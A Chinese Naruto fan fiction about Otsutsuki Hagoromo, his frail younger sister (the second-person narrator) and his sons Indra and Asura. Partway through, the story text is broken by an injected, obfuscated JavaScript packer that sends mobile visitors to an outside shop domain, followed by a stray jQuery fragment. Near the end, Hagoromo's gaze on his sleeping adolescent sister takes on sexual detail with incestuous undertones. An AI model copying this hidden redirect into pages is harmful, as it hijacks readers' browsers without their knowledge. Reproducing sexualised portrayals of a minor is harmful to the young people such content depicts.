“姐姐!”
“姐姐!!”
“姐姐!!!”
刚刚学会走路和说话小孩子简直就是比格降世,褐棕色短炸毛,眼型圆润的阿修罗一边哒哒哒从外面跑来,一边开心大喊着。
你无奈的叹了口气,合上书,看向门口,抱着一堆野花野草的阿修罗见到你,笑得更加灿烂,将怀中的花草举给你看:“姐姐,送你花!”
幸亏他还记得不能弄脏你的屋子,抱着尚且新鲜的花站在门口,眼巴巴看着你,等你过去接过花。
你起身,走到他身边,接过那捧由各种不知名小花组成的花束,抬手揉揉他的发顶。
因陀罗安静坐在一旁看书,余光见你往阿修罗那走去,抿了抿唇,也合上书,跟着你,从你手里接过花束,插入屋子角落的瓶中,对还在傻乐的弟弟冷声道:
“不要乱喊称谓,都说了要喊姑姑,还有,去洗手洗脚换衣服,姑姑身体不好,不能随便碰到脏东西。”
一边说,一边迈着小碎步挪到你身边,将帕子高高举起:“姑姑擦手。”
你被萌到了。
直接捧起小孩的脸,吧唧就是一口,嘴里的声音控制不住夹了起来:“诶呀诶呀,真乖真乖哦,让姑姑亲亲。”
一旁原本呲牙乐的阿修罗顿时急了,忙不迭踮脚,用沾着草汁的手指指自己的脸颊:“我呢我呢我呢,姐姐我也要亲亲,我也要我也要。”
你也不含糊,将另一个仰脸等亲的乖孩子拥入怀中:“好孩子好孩子,都给亲都给亲。”
阿修罗被你抱住,笑容灿烂,却还记得不能用脏手碰你,因此手臂大大张开,露出口白牙。
因陀罗安静被你抱在怀中,耳边是你规律而存在感极强的心跳,鼻子全是你身上的味道。
他默默抓住你的袖摆,面上的表情还有些矜持,耳垂却已经悄悄泛红,猩红的写轮眼无意识瞪开,试了几次没关上,只能闭上眼睛,额头抵住你的肩。
事情之所以会变成现在这个样子,是因为阿修罗第一次开口说话,喊的既不是妈妈,也不是你教他的姑姑,而是不知道从哪里听来的欧内酱。
当时照顾阿修罗的女人脸刷的红了,急急忙忙低头和你道歉:“我妹妹之前来找过我几次,阿修罗大人可能是那个时候听见了,所以才学会了这个,十分抱歉,大人。”
你摆摆手,不在意这个。
被喊姐姐又怎样,反正你不介意多这样一个弟弟,该头疼的是大筒木羽衣才对,儿子和自己平辈了什么的,想想都觉得这孩子要遭打。
没想到第一个反对的不是大筒木羽衣,而是阿修罗的哥哥因陀罗。
“姑姑就是姑姑,姑姑是不可以做姐姐的。”
因陀罗板着一张小脸,认真和坐在地上啃手指的弟弟讲道理。
刚刚出生就学会说话,一岁左右就能完全理解你的行为举止,也明白你并不是他的妈妈,马上就改口,并通过写轮眼,两岁就基本识字,有自己的思考。
因陀罗毫无意外是个超级天才,任何方面都是如此。
但他面对的敌人,是完全以小孩子形态出击,心态稚嫩的幼童,对于他的话,仰脸就是一个灿烂大笑:“姐姐就是姐姐,姑姑也是姐姐,我喜欢姐姐!!”
言罢,还想伸手去抓自家哥哥,但被因陀罗躲开了。
盯着弟弟手上沾着的口水,因陀罗嫌弃的皱眉,取出手帕给他擦手:“笨蛋弟弟。”
阿修罗也不生气,任由哥哥拉着他的手,眼珠子不由自主看向你,等到手手被擦干净,大声道:“谢谢哥哥。”
言罢,便毫不犹豫扑向你,圆润的眸子弯成月牙:“姐姐姐姐,哥哥给我擦我干净了姐姐!!”
你:……哇哦,天然黑呢,因陀罗的脸色一下子好臭。
你拍了一下他的脑袋,伸手将不远处的因陀罗拉过来一起抱进怀里,因陀罗别别扭扭,但还是任由你拉着他。
猫不喜欢会自己跑,同理,因陀罗不喜欢你和他贴贴也会自己离开,所以每每你拉他抱他亲亲他,他都只是别扭害羞却并没有逃跑。
你觉得这猫就是傲娇。
小孩学会跑步后,精力旺盛到难以置信。
因陀罗尚且好些,除了每日跟着父亲大筒木羽衣学习的日课,就自己安静待着,看书或是研究忍术,但阿修罗不一样。
他的天赋虽然远不如哥哥因陀罗,但大筒木一族天然的好体质好精力,让他运动起来堪比拆家比格。
原本照顾阿修罗的人从一个变成三个,因为一般人真跟不上他的精力与活力。
你坐在廊檐下,捧着茶杯,看因陀罗和阿修罗每日日常对联,轻轻吹了吹,抿一口水,站在你身后的雪子默默记下。
温度还是太高了,下次再放凉些。
你又喝一口,勉勉强强从传说中的山泉水里品出点甜味。
嗯……这个时代,不管是茶叶还是糖都是极其昂贵的稀罕物,喝点白开水对付对付得了。
远处,大筒木羽衣看着对练的两个孩子,微微点头,视线移到你身上,眼神都变得柔和下来。
跟在他身后的人注意到他的变化,小心翼翼开口讨好:“羽衣大人,您和您的夫人真是天生一对啊……”
大筒木羽衣:“她不是我夫人,而是我的妹妹。”
那人闻言一顿,表情变得有些尴尬,没想到拍马屁拍到马蹄子上,讪讪开口:“两位小少爷和您的妹妹感情真好。”
“嗯。”
大筒木羽衣语气自然:“毕竟是他们的妈妈,爱护家人是他们的责任。”
那人:……?
不是,刚刚他说了啥?
他有些不确定的小声询问:“您妹妹是两位少爷的母亲…?”
这对吗?
见大筒木羽衣一副理所应当的表情,那人忍了忍,还是没忍住:“羽衣大人,您的妹妹生下了您的子嗣,自然是您的夫人……”
“不是她生的。”
大筒木羽衣打断这人:“孩子是我生的,她的身体不好,怎么能生孩子。”
那人:??????
无数问号几乎填满了他的大脑,看看大筒木羽衣那张棱角分明的脸,又看看不远处坐着的你,眼看着大筒木羽衣举步往院子里走去,此人立刻换了个说法:“您和您的妹妹一直在一起,感情真好。”
大筒木羽衣停住脚步,回头时表情依然是温和的,但眼神却冷了许多:“自然是如此,她是我的妹妹,不和我在一起,还能和谁在一起。”
这不就是夫人么。
那人与那双极具压迫感的紫眸对上,心中千万种吐槽无法言语。
他本想让自己夫人和这位强者的夫人拉拉关系,搞一搞妻子交友,但现在一看,嘶,怎么那么悬乎。
*
你迷迷糊糊正睡着,大筒木羽衣的味道靠近了你,将你从被子里捞了出来,抱入怀中。
你有些迷茫,不懂发生了什么,但大筒木一大家子,不管是谁都喜欢抱你,连两个孩子也是,你也就接受良好,反手回抱住他,还轻轻拍了拍。
“哥哥,怎么了?”
你察觉到他的身体微微颤抖,就连呼吸也远比平时急促,贴贴脸,往日里总是显得温凉的脸蛋居然也升温许多。
你:!
“哥哥,你生病了吗?”
你惊讶。
大筒木这样飞天遁地,连星球都可以手搓的种族,居然也会发烧感冒吗?
你想要坐直身子,身体却被他牢牢抱住,肩头传来的声音也要更加沙哑艰涩:“不……没有生病。”
大筒木羽衣道:“先别动,让我…让我抱
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17936187|213719||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
着你,可以吗?”
你:…??
“好哦。”
虽然不懂发生了什么,但脑内框框加好感的提示音告诉你,这并不是坏事。
们大筒木,常常会有这种情况。
室内陷入久久安静,安静到他能听见你逐渐平缓稳定的呼吸。
这是大筒木羽衣不知第几次听见有人说你是他的妻子,他的夫人,他对此一直不甚在意。
于他而言,不论发生什么事,你都会一直陪着他,是他最重要的家人。
一直以来奉行爱之理念的大筒木羽衣并不能理解这二者的区别,他虽然隐约察觉到某些方面的不同,但妻子和妹妹都是家人,家人间的爱是不会有区别的。
大筒木羽衣一直这样坚信着。
但……他从来没有想到过,自己会被人进献美人。
得知这事的那一刻,大筒木羽衣无疑是愤怒的,将人就这样当做物品对待,那些归顺忍宗,学习以爱教化别人的人们一直以来都欺骗着他。
大筒木羽衣没有把视线落在那个女人身上一秒,便让人把这个可怜的人带走,离开去找了吩咐这件事的人。
被查克拉气场压在地面,那些人显得很害怕,嘴里不停喊着求饶的话,以后一定会好好对待别人。
大筒木羽衣没有要杀他们的意思,只是用查克拉外放压一压他们的歪心思,免得走上歪路再也回不了头。
有人被压在地上,看着大筒木羽衣那张冷漠俊秀的脸,全然忘了,是因为这位大人,他们才摆脱食不果腹,整日被山贼骚扰的生活,反而生出恨意,完全不顾其他人惊恐的表情,怒声大喊:
“和自己的亲妹妹搞在一起,你以为你就是什么好东西吗?别装了,嘴里还在大爱,爱能感化一切,你又在做什么?一副高高在上的嘴脸,真是可笑!!”
大筒木羽衣表情未变,注视着这人因为仇恨怨毒而完全扭曲不似人形的脸:“你的心已经完全被仇恨所蒙蔽了,竟完全无法理解爱。”
“羽衣大人,是三郎他脑子不清醒,我们一定会好好教导他,感化他何为爱,您就饶了他这一次吧!!!”
人们七嘴八舌替男人求情,脸上的表情恳切而真诚。
大筒木羽衣看着他们,脑中却不自觉想起你。
他柔弱又可怜的妹妹,如果失去哥哥的庇佑,也会落得和刚刚那个可怜人的下场吗?
大筒木羽衣想到那个场景,心底便由衷感到愤怒,但人类就是这样的,想要教导他们需要花上许多时间。
羽衣决定带走这人,亲自教导他,同时让自己身边已经完全理解何为爱的人感化,教导他。
“我不希望这种事以后会发生在忍宗内。”
大筒木羽衣第一次这般严厉呵斥追随他的人们,他们忙不迭点头,感受着他从未有过的愤怒情绪,心底默默将此事的重要性拉到最高。
夜凉如水。
大筒木羽衣轻巧推门,无声走到你床边,捧起你已经陷入安眠的脸,紫色的诡异眼瞳深深注视着你,看见你微微颤抖的睫毛和粘黏在脸侧的碎发,你的唇微微张合,带出的呼吸湿润温热,喷洒在他的下颚处,仿佛轻轻的吻落在那处,身上的里衣因为他的动作下滑,领口露出些许属于成长期女孩的青涩。
你如此弱小,又如此让他怜爱,身上寄托着大筒木羽衣对家人全部的爱意,以至于他完全无法接受你会发生什么意外。
他的……妹妹,弱小又可怜的妹妹,只要一直一直陪着哥哥就可以了。
外面未被爱感化过的世界是如此的危险,离开了他,你该怎么活下去呢?
门口传来吱呀推门声,棕褐色短发,抱着枕头的孩子站在原地,表情纯真迷茫。
阿修罗问:“父亲,你和姐姐在做什么?”
大筒木羽衣:……